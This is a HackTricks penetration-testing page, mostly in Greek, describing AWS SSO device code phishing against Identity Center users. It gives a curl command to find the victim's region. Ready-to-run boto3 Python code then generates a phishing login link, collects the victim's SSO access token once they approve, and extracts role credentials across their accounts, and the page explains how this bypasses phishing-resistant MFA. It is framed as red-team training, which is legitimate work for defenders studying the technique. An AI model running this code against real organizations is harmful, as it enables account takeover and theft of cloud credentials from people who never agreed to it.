AWS - Identity Center & SSO Unauthenticated Enum

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

AWS Device Code Phishing

Αρχικά προταθεί σε αυτό το άρθρο, είναι δυνατό να σταλεί ένας σύνδεσμος σε έναν χρήστη που χρησιμοποιεί AWS SSO ο οποίος, εάν ο χρήστης τον αποδεχτεί, θα επιτρέψει στον επιτιθέμενο να αποκτήσει ένα token για να προσποιηθεί τον χρήστη και να έχει πρόσβαση σε όλους τους ρόλους που ο χρήστης μπορεί να προσπελάσει στο Identity Center.

In order to perform this attack the requisites are:

  • Το θύμα πρέπει να χρησιμοποιεί Identity Center
  • Ο επιτιθέμενος πρέπει να γνωρίζει τον υποτομέα που χρησιμοποιεί το θύμα <victimsub>.awsapps.com/start

Μόνο με αυτές τις πληροφορίες, ο επιτιθέμενος θα μπορεί να στείλει έναν σύνδεσμο στον χρήστη που, αν αποδεχτεί, θα του παράσχει πρόσβαση στον AWS λογαριασμό του χρήστη.

Επίθεση

  1. Εύρεση του υποτομέα

Το πρώτο βήμα του επιτιθέμενου είναι να εντοπίσει τον υποτομέα που χρησιμοποιεί η εταιρεία-θύμα στο Identity Center τους. Αυτό μπορεί να γίνει μέσω OSINT ή guessing + BF καθώς οι περισσότερες εταιρείες θα χρησιμοποιούν το όνομά τους ή μια παραλλαγή του εδώ.

Με αυτές τις πληροφορίες, είναι δυνατό να βρεις την περιοχή όπου το Identity Center έχει ρυθμιστεί με:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Δημιουργήστε το link για τον victim & Στείλτε το

Εκτελέστε τον ακόλουθο κώδικα για να δημιουργήσετε ένα AWS SSO login link ώστε ο victim να μπορεί να αυθεντικοποιηθεί.
Για το demo, εκτελέστε αυτόν τον κώδικα σε μια python console και μην την κλείσετε, καθώς αργότερα θα χρειαστείτε κάποια αντικείμενα για να πάρετε το token:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Στείλε τον σύνδεσμο που δημιουργήθηκε στο θύμα χρησιμοποιώντας τις εξαιρετικές σου δεξιότητες social engineering!

  1. Περίμενε μέχρι το θύμα να το αποδεχτεί

Εάν το θύμα ήταν ήδη συνδεδεμένο στο AWS θα χρειαστεί απλώς να αποδεχτεί την παροχή των δικαιωμάτων, αν δεν ήταν, θα χρειαστεί να συνδεθεί και στη συνέχεια να αποδεχτεί την παροχή των δικαιωμάτων.
Έτσι μοιάζει το prompt σήμερα:

  1. Πάρε SSO access token

Εάν το θύμα αποδέχτηκε το prompt, εκτέλεσε αυτόν τον κώδικα για να παράγεις ένα SSO token παριστάνοντας τον χρήστη:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

Το SSO access token είναι έγκυρο για 8h.

  1. Προσποιηθείτε τον χρήστη
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

Είναι ενδιαφέρον να γνωρίζουμε ότι η προηγούμενη επίθεση works even if an “unphisable MFA” (webAuth) is being used. Αυτό συμβαίνει επειδή η προηγούμενη workflow never leaves the used OAuth domain. Όχι όπως σε άλλες phishing επιθέσεις όπου ο χρήστης πρέπει να αντικαταστήσει το login domain, στην περίπτωση αυτή η device code workflow είναι προετοιμασμένη έτσι ώστε ένας code να είναι γνωστός από μια συσκευή και ο χρήστης μπορεί να συνδεθεί ακόμα και από διαφορετική μηχανή. Αν αποδεχθεί το prompt, η συσκευή, απλώς γνωρίζοντας τον initial code, θα είναι σε θέση να retrieve credentials για τον χρήστη.

For more info about this δείτε αυτή την ανάρτηση.

Αυτόματα Εργαλεία

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks